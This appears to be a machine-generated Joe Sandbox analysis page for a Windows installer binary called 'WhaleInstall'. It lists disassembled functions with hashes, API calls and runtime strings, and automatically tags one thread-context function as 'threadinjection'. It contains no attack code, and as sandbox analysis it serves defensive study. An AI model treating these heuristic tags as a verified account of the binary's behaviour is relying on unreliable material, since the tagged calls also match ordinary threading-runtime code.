Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a29b3afd597be841684b58aa2598e0a7ae58d4f18e797b014c00500dcebe258
Instruction ID: 502b5108ad49f042dfc7077204d21e8d7a6b2f962038a085ae0aaf27d276e03d
Opcode Fuzzy Hash: 7a29b3afd597be841684b58aa2598e0a7ae58d4f18e797b014c00500dcebe258
Instruction Fuzzy Hash: B4712433A3878686EB31AA15E400A6EF7A0FB44794F918531EE9D87B94DFBCD541CB10

Function 00007FF772A8B630 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48aee95ad80bc3326e4eebde47fc2fd7ac2aa1bb4b420a84578c8e957e6274bd
Instruction ID: 3d12cce5d499d7c74cd8438eed7eb78d2f06a605e4f43ea37953e15f93e4a199
Opcode Fuzzy Hash: 48aee95ad80bc3326e4eebde47fc2fd7ac2aa1bb4b420a84578c8e957e6274bd
Instruction Fuzzy Hash: 24710223A3878685EB31AB25A400A6DB7A0FB54794F924932DE9D87794DFBCD481CF10

Function 00007FF772B27D20 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc67d247f77b0b7990ce5cee05eafb91c2ef34d3386323070ddf6bf79288f72c
Instruction ID: 53e2c6b11d43909e852603311a33279c94af575551d940b112c3f444e88b3cae
Opcode Fuzzy Hash: fc67d247f77b0b7990ce5cee05eafb91c2ef34d3386323070ddf6bf79288f72c
Instruction Fuzzy Hash: AC41BA33B39B4685DA21AF2DD84147DE364EB497A4F944131DE6C073B1EE6CE442DB60

Function 00007FF772B2A3D0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 313ecf7036fa1f9f723416d6e825fbb0094dd29b50792f447000282dccdf14a8
Instruction ID: cc3536fe31c1396b2f266c82aeeb7fdc4df65395301ee0d358164b4ebf0c2cd3
Opcode Fuzzy Hash: 313ecf7036fa1f9f723416d6e825fbb0094dd29b50792f447000282dccdf14a8
Instruction Fuzzy Hash: A321C276B26B5889DB10DFA6E8804AC27B4F749BCCB501526EE4D53B29EE38C050C650

Function 00007FF772A86519 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b48b33842ac6316d912ac304fcee79f6512dbe6abdb1d537b1f0c3e677366083
Instruction ID: ea40ec37486ea4c22a433d461fa97e57bb74d0cdd2b4fef3fb54e29eff773d8c
Opcode Fuzzy Hash: b48b33842ac6316d912ac304fcee79f6512dbe6abdb1d537b1f0c3e677366083
Instruction Fuzzy Hash: C7F0AAB6A19B4181DA04EF56E4A027877B4F7C9F90B029525DE8D83721DF30C4A0C314

Function 00007FF772B6E710 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5338b2410c88fadbddd5476d659243740ef45eec0dfff78edda5a85c0f4bb367
Instruction ID: cd081525b8409af312cb18afefde60f3e971d8ec345e8f0460ead384a570c8be
Opcode Fuzzy Hash: 5338b2410c88fadbddd5476d659243740ef45eec0dfff78edda5a85c0f4bb367
Instruction Fuzzy Hash: FFD0A747D2DBC304F18101D40D255645AC16F42528B0C813ADF74032D268071C018314

Function 00007FF772A78639 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d8a1baefdb4226631b7501ba9af217b1682f86f741d450b6c9ecd9bc63a7a74
Instruction ID: 28a743491dbbae273f44bc0513184c8d5004e666e1c936cb2515c67a81a03505
Opcode Fuzzy Hash: 9d8a1baefdb4226631b7501ba9af217b1682f86f741d450b6c9ecd9bc63a7a74
Instruction Fuzzy Hash: 8BA0022386DD55C0D2001F80E8415B19128EB06608B982930D23851421AD6EA1109718

Function 00007FF772A80FE0 Relevance: 61.5, APIs: 12, Strings: 23, Instructions: 204
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF772A81156
fwrite.MSVCRT ref: 00007FF772A8120A
fputs.MSVCRT ref: 00007FF772A81224
fwrite.MSVCRT ref: 00007FF772A81245
free.MSVCRT ref: 00007FF772A81255
fputs.MSVCRT ref: 00007FF772A81271
fwrite.MSVCRT ref: 00007FF772A81298
abort.MSVCRT(?,00007FF772A61406), ref: 00007FF772A812A7
fwrite.MSVCRT ref: 00007FF772A812CC
fwrite.MSVCRT ref: 00007FF772A81316
fputs.MSVCRT ref: 00007FF772A81328
fputc.MSVCRT(?,00007FF772A61406), ref: 00007FF772A8133C

Strings

what(): , xrefs: 00007FF772A8130F
nsion (P, xrefs: 00007FF772A8103C
https://, xrefs: 00007FF772A81060
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF772A80FE8
gcc.gnu., xrefs: 00007FF772A810A0
org/bugs, xrefs: 00007FF772A81084
rg/bugs/, xrefs: 00007FF772A810AE
bmit ful, xrefs: 00007FF772A8100A
port at , xrefs: 00007FF772A81109
l bug re, xrefs: 00007FF772A81000
): , xrefs: 00007FF772A81092
https://, xrefs: 00007FF772A8111F
lease su, xrefs: 00007FF772A81046
gh space, xrefs: 00007FF772A8101E
bmit ful, xrefs: 00007FF772A810F5
for for, xrefs: 00007FF772A81028
l bug re, xrefs: 00007FF772A810E0
port at , xrefs: 00007FF772A81072
mat expa, xrefs: 00007FF772A81032
terminate called without an active exception, xrefs: 00007FF772A8128E
terminate called after throwing an instance of ', xrefs: 00007FF772A811FA
not enou, xrefs: 00007FF772A81014
terminate called recursively, xrefs: 00007FF772A812C2

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fwrite$fputs$abortfputcfreememcpy
String ID: what(): $ for for$%s: __pos (which is %zu) > this->size() (which is %zu)$): $bmit ful$bmit ful$gcc.gnu.$gh space$https://$https://$l bug re$l bug re$lease su$mat expa$not enou$nsion (P$org/bugs$port at $port at $rg/bugs/$terminate called after throwing an instance of '$terminate called recursively$terminate called without an active exception
API String ID: 1338968886-1791846269
Opcode ID: ec67f7b8a5b5d8a589dab0579709c3e8320f581630e8ab3e5e6a3605083c5fa8
Instruction ID: 5f847c71489a25a20f45e25bb1e741b977dfc8df3a9226fd0ba2fe6fd9eba485
Opcode Fuzzy Hash: ec67f7b8a5b5d8a589dab0579709c3e8320f581630e8ab3e5e6a3605083c5fa8
Instruction Fuzzy Hash: 74811623B3870185FB10BB62E8406ADA7A0FB04B84F954135DE6C07B9AEFBCD400CB61

Function 00007FF772A7AA90 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 89libraryloadermemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF772A7A410: calloc.MSVCRT(00007FF772B6C570,FFFFFFFE,?,00007FF772A7AAB0,00007FF772B6C570,FFFFFFFE,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772A7A4A7

TlsAlloc.KERNEL32 ref: 00007FF772A7AAC9
abort.MSVCRT(00007FF772B6C570,FFFFFFFE,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B34096
abort.MSVCRT(00007FF772B6C570,FFFFFFFE,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3409C
GetModuleHandleA.KERNEL32 ref: 00007FF772B340ED
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3410C
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3411F

Strings

kernel32.dll, xrefs: 00007FF772B340E6
AddVectoredExceptionHandler, xrefs: 00007FF772B34102
RemoveVectoredExceptionHandler, xrefs: 00007FF772B3410E
once %p is %ld, xrefs: 00007FF772A7AB2E

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: AddressProcabort$AllocHandleModulecalloc
String ID: once %p is %ld$AddVectoredExceptionHandler$RemoveVectoredExceptionHandler$kernel32.dll
API String ID: 3654027789-2209695033
Opcode ID: 7593c151cfca42e6fcdcd5d892201d4827e462b8489194c36aa5a4046c1361f5
Instruction ID: 4f9bc7130be34d679c6c42f889253e0a41a544d026710d534bfe63a548c0d5a4
Opcode Fuzzy Hash: 7593c151cfca42e6fcdcd5d892201d4827e462b8489194c36aa5a4046c1361f5
Instruction Fuzzy Hash: 4F318023E7E64295EA11BB55A8546B4A3A0BF49794FC50531CD2D03372FEBCA445CB24

Function 00007FF772A6F500 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_write.MSVCRT ref: 00007FF772A6F516
IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF772A6392F), ref: 00007FF772A6F520
GetCurrentProcess.KERNEL32 ref: 00007FF772A6F530
TerminateProcess.KERNEL32 ref: 00007FF772A6F53E
_write.MSVCRT ref: 00007FF772A6F566
IsProcessorFeaturePresent.KERNEL32 ref: 00007FF772A6F570
GetCurrentProcess.KERNEL32 ref: 00007FF772A6F580
TerminateProcess.KERNEL32 ref: 00007FF772A6F58E

Strings

*** stack smashing detected ***: terminated, xrefs: 00007FF772A6F55F
*** buffer overflow detected ***: terminated, xrefs: 00007FF772A6F50F

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_write
String ID: *** buffer overflow detected ***: terminated$*** stack smashing detected ***: terminated
API String ID: 483568592-2830872363
Opcode ID: 0b855a92f6bd83f8e6d63f868cde90cb5e3875eab1cbda6946a133d8ab6cc26a
Instruction ID: 3f3cbf96092d6bf707cfade4fe112ce6d7cbe64fc3007e2566e7b4751bd6c1a6
Opcode Fuzzy Hash: 0b855a92f6bd83f8e6d63f868cde90cb5e3875eab1cbda6946a133d8ab6cc26a
Instruction Fuzzy Hash: 15018F53A3C2438AF7143BA1E819B748161EF49749F951035CA2E063E2FEEDA801DF39

Function 00007FF772A7A660 Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 49libraryloadermemoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00007FF772A7A664
abort.MSVCRT ref: 00007FF772B34090
abort.MSVCRT(00007FF772B6C570,FFFFFFFE,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B34096
abort.MSVCRT(00007FF772B6C570,FFFFFFFE,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3409C
GetModuleHandleA.KERNEL32 ref: 00007FF772B340ED
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3410C
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,00007FF772B6C570,00007FF772A7BF9D,?,?,00007FF772B6C570,00007FF772B6C570,00007FF772A7D874), ref: 00007FF772B3411F

Strings

kernel32.dll, xrefs: 00007FF772B340E6
AddVectoredExceptionHandler, xrefs: 00007FF772B34102
RemoveVectoredExceptionHandler, xrefs: 00007FF772B3410E

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: abort$AddressProc$AllocHandleModule
String ID: AddVectoredExceptionHandler$RemoveVectoredExceptionHandler$kernel32.dll
API String ID: 129120984-3889795909
Opcode ID: b12918903fe94226556b72abcd64dd48177baacd4a50f9298a0d0a46a7f2da1a
Instruction ID: 4eb386751e7eaf0eb02807a15591b91596ad8c434252e9d0c3e70c8660448274
Opcode Fuzzy Hash: b12918903fe94226556b72abcd64dd48177baacd4a50f9298a0d0a46a7f2da1a
Instruction Fuzzy Hash: 4B113922E3BA4689EA00BB25FC95664A3A0FF49744FC01532D96D43372FEBCE045CB24

Function 00007FF772A6E920 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF772A6E9EE
abort.MSVCRT(?,?,?,?,?,?,?,00000000,?,?,?,00007FF772B6C570,00007FF772B332C5), ref: 00007FF772A6E9F4
RtlUnwindEx.KERNEL32 ref: 00007FF772A6EB0D

Strings

CCG , xrefs: 00007FF772A6E987
CCG!, xrefs: 00007FF772A6E9E1
CCG", xrefs: 00007FF772A6E97C
CCG!, xrefs: 00007FF772A6E94A

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3707373406
Opcode ID: d87d7cb686671fc7ed10be2e869cefaae572705104f361167379ec46db8be8e4
Instruction ID: 4f1ef7522fd9ee2b0eab6fcea6d86248e0d10b6f96fbdca3db1975fa186ae5f2
Opcode Fuzzy Hash: d87d7cb686671fc7ed10be2e869cefaae572705104f361167379ec46db8be8e4
Instruction Fuzzy Hash: A451E133A29BC086E7609B15E444BADB360F799B88F904235EE8D13758DF7ED481CB04

Function 00007FF772A7C020 Relevance: 15.2, APIs: 10, Instructions: 192threadinjectionsynchronizationCOMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 00007FF772A7C08D

Part of subcall function 00007FF772A7AA90: TlsAlloc.KERNEL32 ref: 00007FF772A7AAC9

TlsGetValue.KERNEL32 ref: 00007FF772A7C0B2
SetEvent.KERNEL32 ref: 00007FF772A7C0FA
SetEvent.KERNEL32 ref: 00007FF772A7C167
SuspendThread.KERNEL32 ref: 00007FF772A7C1BE
WaitForSingleObject.KERNEL32 ref: 00007FF772A7C1CA
GetThreadContext.KERNEL32 ref: 00007FF772A7C1E7
SetThreadContext.KERNEL32 ref: 00007FF772A7C203
SetEvent.KERNEL32 ref: 00007FF772A7C22B
ResumeThread.KERNEL32 ref: 00007FF772A7C23D

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Thread$Event$Context$AllocHandleInformationObjectResumeSingleSuspendValueWait
String ID:
API String ID: 1746956495-0
Opcode ID: 3f2b10e9e1e1174c0e87ce3b370888bb8ec3019f27c28aa3fbbf6952baf09b5e
Instruction ID: 103e98d74f7627fa752db25b1697647e3873152cf26dc5689ad415fd6ec5ff54
Opcode Fuzzy Hash: 3f2b10e9e1e1174c0e87ce3b370888bb8ec3019f27c28aa3fbbf6952baf09b5e
Instruction Fuzzy Hash: DE81E333A3D64285FB50BB359800A78A761AF55BB8F894231DD3D023D5EFACE444CB28

Function 00007FF772A6EEC0 Relevance: 13.7, APIs: 9, Instructions: 153COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 00007FF772A6EEEE

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

